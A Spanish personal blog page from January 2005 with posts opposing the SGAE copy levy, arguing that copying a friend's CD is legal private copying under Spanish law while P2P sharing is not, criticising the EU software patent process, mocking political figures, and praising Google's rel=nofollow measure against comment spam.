Contra el canon de la SGAE

Javier de la Cueva ha hecho un llamamiento esta mañana para que la gente le envíe banners contra el canon de la SGAE. Chema que sabe que me gusta esto del diseño y que soy fácil de picar y enmarronar me ha enviado un email comentándolo y lo ha puesto en su blog, así que aquí va mi propuesta:

NO al canon de la SGAE

Para crearlo he usado el genial programa de retoque fotográfico Gimp, que facilita mucho la tarea, y tiene la posibilidad de “comprimir” los gifs animados, eliminando información redundante entre frame y frame de la animación, dejando así este banner de 33 frames ¡en sólo 49 Kbytes!. Los ficheros Gimp originales empleados los puedes descargar aquí y me adhiero a la licencia elegida por Chema, la de Atribución de Creative Commons.

Copia privada

¿Por qué hay gente que no se entera? ¿Por qué hay gente que se empeña en negar sus derecho?

En España los usuarios tienen por ley pueden ejercer derecho a copiar obras como “copia privada”, excepto programas de ordenador, siempre que no sea con ánimo de lucro o:

Disposición común a TODAS las del presente capítulo Los artículos del presente capítulo no podrán interpretarse de manera tal que permitan su aplicación de forma que causen un perjuicio injustificado a los intereses legítimos del autor o que vayan en detrimento de la explotación normal de las obras a que se refieran.

Con dicho texto mucha gente opta por creer sin más que no se puede copiar un CD, que es ilegal, puesto que la copia de discos causa un perjuicio económico a los autores e industria discográfica. Realmente incluso eso está en duda, pues mucha gente es más adicta a la música, regala CDs originales o los pide para reyes. Pero no vamos a entrar en ello.

Los dos motivos cuando no se puede aplicar los artículos de la ley que recogen el derecho a copia privada son:

  1. Que causen un perjuicio injustificado a los intereses legítimos del autor.
  2. Que vayan en detrimento de la explotación normal de las obras a que se refieran.

Ahora veamos qué es legal y qué no:

Copiar un CD de música de un amigo

  1. ¿Causa un perjuicio injustificado?
    NO, es muy justificado, pues simplemente hace uso de su derecho a copia privada. Injustificado sería hacer 1.000.000 de copias para regalarlas. Por que distribuiría, aunque fuera sin ánimo de lucro.
  2. ¿Afecta a la explotación normal de las obras?
    NO. La copia de un CD a un amigo, en sí misma, no repercute en la distribución de las obras. El efecto global, toda la sociedad copiando CDs de amigos o bajándose canciones sí que afecta, y de hecho está provocando cambios de paradigma, y el nacimiento de nuevos métodos de comercialización de la música.
    Pero no olvidemos aquí que estamos juzgando: La copia de un CD. No su efecto a gran escala. En un juicio el magistrado no enjuicia a toda la sociedad por copiar CDs, sino a una persona en concreto, y si esa persona se ha copiado 20 CDs de amigos... ¿ha ido en detrimento de la explotación normal? Y ni siquiera hay que fijarse en la cantidad que haya copiado, pues se evalua para cada obra, aunque tenga 1.000 CDs en su colección. La copia del último álbum de Metallica... ¿ha ido en detrimento de la explotación normal de ese álbum? ¿Verdad que no?

Veredicto: ES LEGAL

Y hemos llegado a ese veredicto sin siquiera considerar otros factores, como la pregunta: ¿De verdad se iba a comprar ese amigo el CD si no lo hubiera copiado? Muchas veces las discográficas dan las cifras de pérdidas en función de cuanto han dejado de ganar en el año, sino de cuantas copias hay distribuídas, cuando todo el mundo sabe que si no se copiaran gratis, mucha de esa gente tampoco se las iba a comprar.

Compartir un música en una red P2P

  1. ¿Causa un perjuicio injustificado?
    SI. En este caso vemos que sí. No está justificado que por que le apetezca facilite la copia a otros, no tiene nada que ver ya con su derecho a copia, sino que facilita a los demás su copia, casi distribuye.
  2. ¿Afecta a la explotación normal de las obras?
    Puede. De nuevo en este caso sí que publicar un tema en una red P2P puede afectar a su normal distribución, pues puede que compre el disco menos gente.

Veredicto: ES ILEGAL

Con la ley que recoge el derecho a la copia privada, es legal copiar música de amigos, que no nos engañe la SGAE con tanta publicidad. Con lo que sí que te pueden acusar es si te dedicas a distribuir música en redes P2P, aunque lo hagas sin ánimo de lucro. De cualquier forma es prácticamente imposible controlar quién distribuye qué, cuando, cantidades, etc. por lo que, que yo sepa, no ha habido ningún juicio incriminatorio en España.

De hecho, el canon que pagamos a la SGAE por los CDs es la compensación (la ley recoge la posibilidad de dicha compensación) por ese derecho a la copia privada, así que al menos usemos ese derecho, y luchemos a la vez contra el canon, pues es un impuesto privado y discriminatorio, a un medio que no sólo se usa para copiar música, y no tenemos por qué pagarlo si vamos a grabar en él nuestra distribución linux favorita.

Huele a podrido...

CorrupciónDe nuevo los peces huelen a podrido. Más aún que en la irreductible aldea gala.

Y es que de nuevo vuelve a presentar la presidencia de turno holandesa la ley de patentes de software para su aprobación, sin discusión, en una reunión de Pesca y Agricultura.

No es sólo que los ministros de esas áreas no sean los más indicados para evaluar la ley de patentes, mucho más técnica, sino que encima el sistema de aprobación es sin discusión. Si nadie objeta, se da por aprobada automáticamente. Esa forma de proceder está destinada a leyes que ya están discutidas, y sobre las que hay consenso, pero no es el caso de la lay de patentes, muy controvertida, y que ha sufrido infinidad de cambios según iba pasando de cámara en cámara de la UE.

Holanda debe tener unos intereses bestiales como para intentar su aprobación soterrada por segunda vez. Con esta sería la segunda vez que la incluye en la agenda. Como se acaba su turno de presidencia y la siguiente está más bien en contra de las patentes, ha optado por meterla con calzador en las últimas reuniones de su presidencia, aunque fueran de Pesca y Agricultura, y a pesar de haberse votado un retraso en su tramitación.

En la otra ocasión, Polonia objetó, y se salvó la industria del software de esta perjudicial ley. Ahora habrá que ver si ya han podido comprar a Polonia (un par de oficinas de patentes por ese país, ¿quizás?). Si se aprueba, lo que se va a demostrar es que democracia hay más bien poca en la UE, y quedará claro quienes son los que mandan.

Crucemos los dedos... pero no los brazos... ¡protestar!

Something fishy going on at the fishery meeting?

Más información.

Coronación

A lo largo de la historia los gobernantes más acomplejados son los que siempre han llegado más alto, y desde allí, para congoja de los portadores de sentido común, han hecho uso del poder que estaba en sus manos a su antojo.

El rey de Srek, con su enooorme castillo. O en la cruda realidad Bush, con sus guerras y ceremonias.

A todos los efectos hoy se corona como gobernante del mundo, demostrando una vez más sus complejos, por que necesita una ceremonia de 40 millones de dólares para sentirse mejor. No le valía superar a su padre con la reelección, ni con montar una guerra para conseguir la pistolita de Sadam, con quien su padre tampoco pudo. Ahora necesita más, lo primero la ceremonia más fastuosa posible, coche nuevo, imprescindibles para calentar motores y presentarse como salvador del mundo.

Lo peor de todo es que para que el niño del trono se sienta grande y poderoso, a lo mejor tiene que organizar otra guerra para salvar al mundo.

Empanada de rajoy

Rajoy advierte al Gobierno que “dialogar con quien quiere imponer es prostituir el diálogo”.
El presidente del PP, Mariano Rajoy, ha lanzado un mensaje al presidente del Gobierno sobre un posible encuentro con el lehendakari, Juan José Ibarretxe. Rajoy considera que “dialogar con quien quiere imponer, con quien juega con ventaja y no cumple los acuerdos es prostituir el diálogo, además de una tremenda injusticia”.

Noticia de El País

Y digo yo, ¿se habrán comprado ya el espejo que tenían roto estos pasados años?

Cobatir el spam desde la raíz

Muy inteligente el movimiento de Google para combatir el spam.

Para el que no sepa qué es spam, puede leer este comentario que hice hace tiempo al respecto.

En este caso Google se refiere al spam en los comentarios de los blogs y otros sistemas de publicación. Al ser públicos (cualquiera puede enviar un comentario) los spammers se dedican a hacer programas que manden automáticamente comentarios con enlaces a webs porno, de venta de viagra, y un sin fin de mierda que no hace más que molestar.

Google y otros ponderan la importancia de las webs por el número de enlaces que apuntan hacia ellas, por lo que este método les vale para salir los primeros en muchas búsquedas.

Hay diversas maneras de combatir el spam, por ejemplo metiendo la IP de los programas en listas negras de bloqueos, o bloqueando las propias direcciones web de publicidad. Pero siempre tienen nuevas máquinas y nuevas direcciones. Luego hay métodos como el de este blog que te pide un código que se puede leer en una imagen, para distinguir a los humanos de los programas, que no saben leer imágenes. El problema es que es una solución un poco costosa a nivel técnico.

El método que ha sugerido Google y que apoyan los otros grandes buscadores es tan sencillo como añadir a todos los enlaces que se permiten en los comentarios “rel=nofollow” y no se contarán para la importancia de las búsquedas. Tan sencillo, tan trivial, y sin embargo demoledor para los spamers, ya que ataca a la raiz del problema: Los spamers logran algo. Con ese pequeño cambio, no. :)

Más info en Google Dirson.




Enero 2005
L M X J V S D
« Dic   Feb »
 12
3456789
10111213141516
17181920212223
24252627282930
31